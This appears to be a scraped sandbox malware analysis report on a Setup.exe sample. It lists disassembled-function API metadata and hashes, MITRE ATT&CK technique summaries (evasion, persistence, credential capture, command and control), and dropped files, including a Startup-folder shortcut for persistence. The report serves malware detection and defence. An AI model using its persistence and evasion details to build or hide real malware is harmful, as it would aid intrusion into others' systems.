Instruction Fuzzy Hash: 17F0687170E712CBF73B9F58BD627A5279DEB26720F11146AF101DE5D8E73088914680

Function 003454E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00345501
_wcscmp.LIBCMT ref: 00345513

Strings

#32770, xrefs: 0034550D

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 9a9a2fc64b94c2a89c338d6c1afa5ffab799d6037a63add12bb53d350ded33da
Instruction ID: 29e94fed92d57f6f1472cd612a937f685f76a9abfff261c8323de63956737185
Opcode Fuzzy Hash: 9a9a2fc64b94c2a89c338d6c1afa5ffab799d6037a63add12bb53d350ded33da
Instruction Fuzzy Hash: ACE0D17290022957D721A759AC45FA7F7ECEB55771F000057FD44D7051D560E945C7D0

Function 00338892 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 003388A0

Part of subcall function 00303588: _doexit.LIBCMT ref: 00303592

Strings

Error allocating memory., xrefs: 00338899
AutoIt, xrefs: 00338894

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 4a19e92d06e196c554a33d0a764b35f9b96b12d4780bdaa8c6817e4c3a7a3156
Instruction ID: 47e06abdd4eee156ec319d12755d5328ee742dec7648664c5a2519c98ac53dec
Opcode Fuzzy Hash: 4a19e92d06e196c554a33d0a764b35f9b96b12d4780bdaa8c6817e4c3a7a3156
Instruction Fuzzy Hash: 2BD05B7138535C36D22737A56C1BFDB7A4CCB05B51F10442AFB0CA91D349D585D041E5

Function 00320251 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00320091

Part of subcall function 0035C6D9: LoadLibraryA.KERNEL32(kernel32.dll,?,0032027A,?), ref: 0035C6E7
Part of subcall function 0035C6D9: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0035C6F9

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00320289

Strings

WIN_XPe, xrefs: 003200A4

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: e3a5d3a7b94b4a0876ac6027627ba690968e08567e4be62b858e80c0cf3d2f37
Instruction ID: ee1c52cb5e1c1699657b2820f04c2f655f52d21dd07f82714d809f2b73a5277c
Opcode Fuzzy Hash: e3a5d3a7b94b4a0876ac6027627ba690968e08567e4be62b858e80c0cf3d2f37
Instruction Fuzzy Hash: CFF06D71814119DFDB2BDBA1D998BECBBFCAB08304F244485E186B20A1CB705F88CF20

Function 002F5800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19windowCOMMON

Download Yara Rule

APIs

DestroyIcon.USER32(,z:0z:,003A7A2C,003A7890,?,002F5A53,003A7A2C,003A7A30,?,00000004), ref: 002F5823

Strings

SZ/,z:0z:, xrefs: 002F5804
,z:0z:, xrefs: 002F5808, 002F5821

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: DestroyIcon
String ID: ,z:0z:$SZ/,z:0z:
API String ID: 1234817797-3699555725
Opcode ID: 4c2521a76defa66fa293255f04e16e6427b06d953cb52882db2750e4da908280
Instruction ID: 12d863a1438f6b3d4cab057cc58e1b77eacd4715cd8535a9841ea14af9a47336
Opcode Fuzzy Hash: 4c2521a76defa66fa293255f04e16e6427b06d953cb52882db2750e4da908280
Instruction Fuzzy Hash: D4E0C23202425BEBF7210F08D8007A4FFECAF253A1F348026E28446050D3B168F0CB90

Function 00349EA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00349EB5
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00349ECC

Strings

aut, xrefs: 00349EC6

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 457a76afc0755153bf1f4d1cfe0a362f274d816ea50f5659fd560a4a29d1006f
Instruction ID: 134b4e5afe0134e277ea4871e4b60342cf3d33f4907b68b12c252c8ecb088abe
Opcode Fuzzy Hash: 457a76afc0755153bf1f4d1cfe0a362f274d816ea50f5659fd560a4a29d1006f
Instruction Fuzzy Hash: B0D05E7654030DABDB61AB90EC0EFDABB2CDB04700F0046A1FE5C910A3DB7059D4CB91

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Data Obfuscation

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.js

C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif

C:\Users\user\AppData\Local\ScribeSoft Systems\w

C:\Users\user\AppData\Local\Temp\412421\Linux.pif

C:\Users\user\AppData\Local\Temp\412421\M

C:\Users\user\AppData\Local\Temp\Biography

C:\Users\user\AppData\Local\Temp\Biography.cmd (copy)

C:\Users\user\AppData\Local\Temp\Corner

C:\Users\user\AppData\Local\Temp\Diagnostic

C:\Users\user\AppData\Local\Temp\Disposition

C:\Users\user\AppData\Local\Temp\Domestic

C:\Users\user\AppData\Local\Temp\Hollow

C:\Users\user\AppData\Local\Temp\Marie

C:\Users\user\AppData\Local\Temp\Mrs

C:\Users\user\AppData\Local\Temp\Options

C:\Users\user\AppData\Local\Temp\Participated

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ScribeSync.url

Windows Analysis Report
Setup.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre